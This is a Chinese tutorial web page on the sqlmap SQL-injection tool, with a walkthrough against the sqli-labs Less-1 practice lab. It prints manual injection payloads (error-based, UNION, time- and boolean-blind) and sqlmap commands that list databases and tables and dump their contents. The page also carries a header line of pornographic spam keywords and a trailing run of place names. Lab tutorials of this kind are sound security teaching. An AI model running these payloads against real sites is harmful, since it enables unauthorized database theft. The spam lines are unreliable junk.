最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

SQL注入漏洞掃描之sqlmap詳解

 更新時(shí)間:2025年01月25日 11:22:44   作者:司越越  
SQLMap是一款自動(dòng)執(zhí)行SQL注入的審計(jì)工具,支持多種SQL注入技術(shù),包括布爾型盲注、時(shí)間型盲注、報(bào)錯(cuò)型注入、聯(lián)合查詢注入和堆疊查詢注入

what

SQLMap是一款先進(jìn)的自動(dòng)執(zhí)行SQL注入的審計(jì)工具。當(dāng)給定一個(gè)URL時(shí),SQLMap會(huì)執(zhí)行以下操作:

  1. 判斷可注入的參數(shù)。
  2. 判斷可以用哪種SQL注入技術(shù)來(lái)注入。
  3. 識(shí)別出目標(biāo)使用哪種數(shù)據(jù)庫(kù)。
  4. 根據(jù)用戶的選擇,讀取哪些數(shù)據(jù)庫(kù)中的數(shù)據(jù)。

更詳細(xì)語(yǔ)法請(qǐng)參考官方手冊(cè)---用法 | sqlmap 用戶手冊(cè) (highlight.ink)

支持類型

sqlmap 可用于檢測(cè)利用五種不同類型的 SQL 注入。

  • 布爾型盲注(Boolean-based blind):sqlmap 會(huì)替換或添加 SQL 語(yǔ)句到 HTTP 請(qǐng)求的查詢參數(shù)里面,相關(guān)的 SQL 語(yǔ)句可能是合法的 SELECT 子查詢,也可以是任意用于獲取輸出數(shù)據(jù)的 SQL 語(yǔ)句。針對(duì)每個(gè)注入檢測(cè)的 HTTP 響應(yīng),sqlmap 通過(guò)對(duì)比原始請(qǐng)求響應(yīng)的 headers/body,從而逐個(gè)字符地推導(dǎo)出注入語(yǔ)句的輸出?;蛘?,用戶可以預(yù)先提供一個(gè)字符串或正則表達(dá)式,用于對(duì)正確頁(yè)面結(jié)果進(jìn)行匹配。sqlmap 內(nèi)部實(shí)現(xiàn)了二分算法,使得輸出中的每一個(gè)字符可在最多 7 個(gè) HTTP 請(qǐng)求內(nèi)被獲取。如果請(qǐng)求響應(yīng)結(jié)果不是簡(jiǎn)單的明文字符集,sqlmap 會(huì)采取更大范圍的算法來(lái)檢測(cè)輸出。
  • 時(shí)間型盲注(Time-based blind):sqlmap 會(huì)替換或者添加相關(guān)的 SQL 語(yǔ)句到 HTTP 請(qǐng)求的查詢參數(shù)里面,相關(guān)的 SQL 語(yǔ)句可能是合法的、用于使后端 DBMS(Database Management System,數(shù)據(jù)庫(kù)管理系統(tǒng))延遲幾秒響應(yīng)的查詢。針對(duì)每一個(gè)注入檢測(cè)的 HTTP 響應(yīng),通過(guò)對(duì) HTTP 響應(yīng)時(shí)間與原始請(qǐng)求之間進(jìn)行比較,從而逐個(gè)字符地推導(dǎo)出注入語(yǔ)句的輸出。正如基于布爾型盲注的技術(shù)一樣,二分算法也會(huì)被應(yīng)用。
  • 報(bào)錯(cuò)型注入(Error-based):sqlmap 會(huì)替換或者添加用于引發(fā)特定數(shù)據(jù)庫(kù)錯(cuò)誤的 SQL 語(yǔ)句到查詢參數(shù)里面,并通過(guò)解析對(duì)應(yīng)的注入結(jié)果,判斷特定的數(shù)據(jù)庫(kù)錯(cuò)誤信息是否存在響應(yīng)的 headers/body 中。這項(xiàng)技術(shù)只有在 Web 應(yīng)用配置開(kāi)啟后端 DBMS 錯(cuò)誤信息提醒才有效。
  • 聯(lián)合查詢注入(UNION query-based):sqlmap 會(huì)在查詢參數(shù)中添加以 UNION ALL SELECT 開(kāi)頭的合法 SQL 語(yǔ)句。當(dāng) Web 應(yīng)用在 for 循環(huán)中直接傳遞 SELECT 語(yǔ)句的查詢結(jié)果,或采用了類似的方法將查詢結(jié)果在頁(yè)面中逐行輸出時(shí),這項(xiàng)技術(shù)會(huì)生效。當(dāng)查詢結(jié)果不使用 for 循環(huán)進(jìn)行全部輸出而只輸出首個(gè)結(jié)果,sqlmap 還能夠利用偏(單入口)聯(lián)合查詢 SQL 注入漏洞。
  • 堆疊查詢注入(Stacked queries),也被稱為捎帶查詢注入(piggy backing):sqlmap 會(huì)測(cè)試 Web 應(yīng)用是否支持堆疊查詢,如果支持,則在 HTTP 請(qǐng)求的查詢參數(shù)中添加一個(gè)分號(hào)(;),并在后面加上注入的 SQL 語(yǔ)句。這項(xiàng)技術(shù)不僅適用于執(zhí)行 SELECT 語(yǔ)句,同樣適用于執(zhí)行數(shù)據(jù)定義或者數(shù)據(jù)操作等 SQL 語(yǔ)句,同時(shí)可能可以獲取到文件系統(tǒng)的讀寫(xiě)權(quán)限和系統(tǒng)命令執(zhí)行權(quán)限,不過(guò)這很大程度上取決于底層 DBMS 和當(dāng)前會(huì)話用戶的權(quán)限。

how---less-1為例

sqlmap在kali中自動(dòng)集成,若要在Windows中使用需要python2.x版本

1.檢測(cè)網(wǎng)站是否存在sql注入漏洞的注入點(diǎn)

sqlmap -u "http://192.168.243.133/sqli-labs-php7-master/Less-1/?id=1"(id為)

---最好有個(gè)""

(-u 前提是檢測(cè)參數(shù)為GET參數(shù))

結(jié)果顯示參數(shù)id是注入點(diǎn),有存在多個(gè)sql注入漏洞,分別是布爾盲注、錯(cuò)誤注入、時(shí)間盲注、union聯(lián)合注入

并且返回了該網(wǎng)站基于的數(shù)據(jù)庫(kù)類型

我們來(lái)驗(yàn)證一下---

錯(cuò)誤注入

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

union聯(lián)合注入

?id=100000' union select 1,2,3 --+

時(shí)間盲注

id=1' and if( substr(database(),1,1)='s',sleep(7),0) --+

布爾盲注

id=1' and substr(database(),1,1)='s'--+

2.列舉可用數(shù)據(jù)庫(kù)

sqlmap -u http://192.168.243.133/sqli-labs-php7-master/Less-1/?id=1 --dbs

3.列舉數(shù)據(jù)庫(kù)中的數(shù)據(jù)表

sqlmap -u http://192.168.243.133/sqli-labs-php7-master/Less-1/?id=1 -D security --tables

4.列舉數(shù)據(jù)表中的字段

?id=1 -D security -T emails --columns

5.輸出目標(biāo)字段的具體內(nèi)容

?id=1 -D security -T emails -C email_id --dump

注:若字段數(shù)不多,4與5可以合并成 ?id=1 -D security -T emails -dump

效果就是列舉該表下的所有字段以及字段的內(nèi)容,以及對(duì)應(yīng)關(guān)系 觀察更方便

若字段內(nèi)容的多少可以用--count查看

若想查看指定行數(shù)的字段內(nèi)容可以 --start(起始條數(shù)) --stop(終止條數(shù))

?id=1 -D security -T emails --start 2 --stop 3 --dump

總結(jié)

以上為個(gè)人經(jīng)驗(yàn),希望能給大家一個(gè)參考,也希望大家多多支持腳本之家。

相關(guān)文章

  • 如何用DeepSeek獲取數(shù)據(jù)庫(kù)中的表信息(表名和字段名稱)

    如何用DeepSeek獲取數(shù)據(jù)庫(kù)中的表信息(表名和字段名稱)

    這篇文章主要介紹了如何利用DeepSeek模型結(jié)合數(shù)據(jù)庫(kù)查詢,自動(dòng)生成表結(jié)構(gòu)信息,通過(guò)自然語(yǔ)言描述,讓DeepSeek自動(dòng)生成對(duì)應(yīng)的SQL查詢,從而實(shí)現(xiàn)對(duì)數(shù)據(jù)庫(kù)結(jié)構(gòu)的智能化探索,需要的朋友可以參考下
    2025-02-02
  • 六大主流數(shù)據(jù)同步工具對(duì)比:DataX、Airbyte、Canal、Debezium、Fivetran 與 Apache SeaTunnel

    六大主流數(shù)據(jù)同步工具對(duì)比:DataX、Airbyte、Canal、Debezium、Fivetran 與&nb

    這篇文章主要介紹了六大主流數(shù)據(jù)同步工具對(duì)比:DataX、Airbyte、Canal、Debezium、Fivetran 與 Apache SeaTunnel的相關(guān)資料,需要的朋友可以參考下
    2026-02-02
  • sql 中將日期中分秒化為零的語(yǔ)句

    sql 中將日期中分秒化為零的語(yǔ)句

    用到了sql中的convert函數(shù)將日期中的分秒轉(zhuǎn)換為零
    2008-10-10
  • Navicat 導(dǎo)出導(dǎo)入數(shù)據(jù)庫(kù)的實(shí)現(xiàn)方法

    Navicat 導(dǎo)出導(dǎo)入數(shù)據(jù)庫(kù)的實(shí)現(xiàn)方法

    這篇文章主要介紹了Navicat 導(dǎo)出導(dǎo)入數(shù)據(jù)庫(kù)的實(shí)現(xiàn)方法,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2020-11-11
  • 前端數(shù)據(jù)庫(kù)IndexedDB基礎(chǔ)使用的方法步驟

    前端數(shù)據(jù)庫(kù)IndexedDB基礎(chǔ)使用的方法步驟

    IndexedDB是一種在瀏覽器端存儲(chǔ)數(shù)據(jù)的方式,既然稱之為DB,是因?yàn)樗S富了客戶端的查詢方式,并且因?yàn)槭潜镜卮鎯?chǔ),可以有效的減少網(wǎng)絡(luò)對(duì)頁(yè)面數(shù)據(jù)的影響,這篇文章主要介紹了前端數(shù)據(jù)庫(kù)IndexedDB?基礎(chǔ)使用的方法步驟,需要的朋友可以參考下
    2025-07-07
  • DBeaver每次連接提示下載驅(qū)動(dòng)問(wèn)題的解決方案

    DBeaver每次連接提示下載驅(qū)動(dòng)問(wèn)題的解決方案

    在使用DBeaver時(shí),如果遇到每次連接都提示需要下載連接驅(qū)動(dòng)的問(wèn)題,這篇文章主要介紹了DBeaver每次連接提示下載驅(qū)動(dòng)問(wèn)題的解決方案,文中通過(guò)圖文介紹的非常詳細(xì),需要的朋友可以參考下
    2025-02-02
  • 深入SQL中PIVOT 行列轉(zhuǎn)換詳解

    深入SQL中PIVOT 行列轉(zhuǎn)換詳解

    T-SQL語(yǔ)句中,Pivot運(yùn)算符用于在列和行之間對(duì)數(shù)據(jù)進(jìn)行旋轉(zhuǎn)或透視轉(zhuǎn)換,PIVOT命令可以實(shí)現(xiàn)數(shù)據(jù)表的列轉(zhuǎn)行,同時(shí)執(zhí)行聚合運(yùn)算,UNPIVOT則與其相反,實(shí)現(xiàn)數(shù)據(jù)的行轉(zhuǎn)列。
    2015-10-10
  • 在windows系統(tǒng)下如何安裝memcached的講解

    在windows系統(tǒng)下如何安裝memcached的講解

    今天小編就為大家分享一篇關(guān)于在windows系統(tǒng)下如何安裝memcached的講解,小編覺(jué)得內(nèi)容挺不錯(cuò)的,現(xiàn)在分享給大家,具有很好的參考價(jià)值,需要的朋友一起跟隨小編來(lái)看看吧
    2019-03-03
  • PL/SQL?循環(huán)、自定義函數(shù)以及存儲(chǔ)過(guò)程實(shí)例詳解

    PL/SQL?循環(huán)、自定義函數(shù)以及存儲(chǔ)過(guò)程實(shí)例詳解

    文章主要介紹了PL/SQL的核心內(nèi)容,包括循環(huán)結(jié)構(gòu)(FOR、WHILE循環(huán)及控制語(yǔ)句)、自定義函數(shù)和存儲(chǔ)過(guò)程,詳細(xì)解釋了各自的特點(diǎn)、應(yīng)用場(chǎng)景和示例,并對(duì)比了函數(shù)和存儲(chǔ)過(guò)程的區(qū)別,特別是強(qiáng)調(diào)了Oracle存儲(chǔ)過(guò)程中的IS/AS關(guān)鍵字的必要性
    2026-05-05
  • SQL select distinct的使用方法

    SQL select distinct的使用方法

    這篇文章主要介紹了SQL中distinct的用法 ,需要的朋友可以參考下
    2015-11-11

最新評(píng)論

望奎县| 汶上县| 道孚县| 府谷县| 维西| 苍梧县| 大港区| 铜山县| 涞源县| 合作市| 井陉县| 鹤壁市| 读书| 嘉禾县| 佛学| 临海市| 靖远县| 郸城县| 治县。| 龙游县| 乐昌市| 天水市| 麟游县| 桐柏县| 桦甸市| 渑池县| 德昌县| 湟源县| 曲周县| 方城县| 邯郸市| 龙州县| 甘洛县| 三门县| 大化| 汉源县| 沅陵县| 内丘县| 博野县| 罗定市| 长丰县|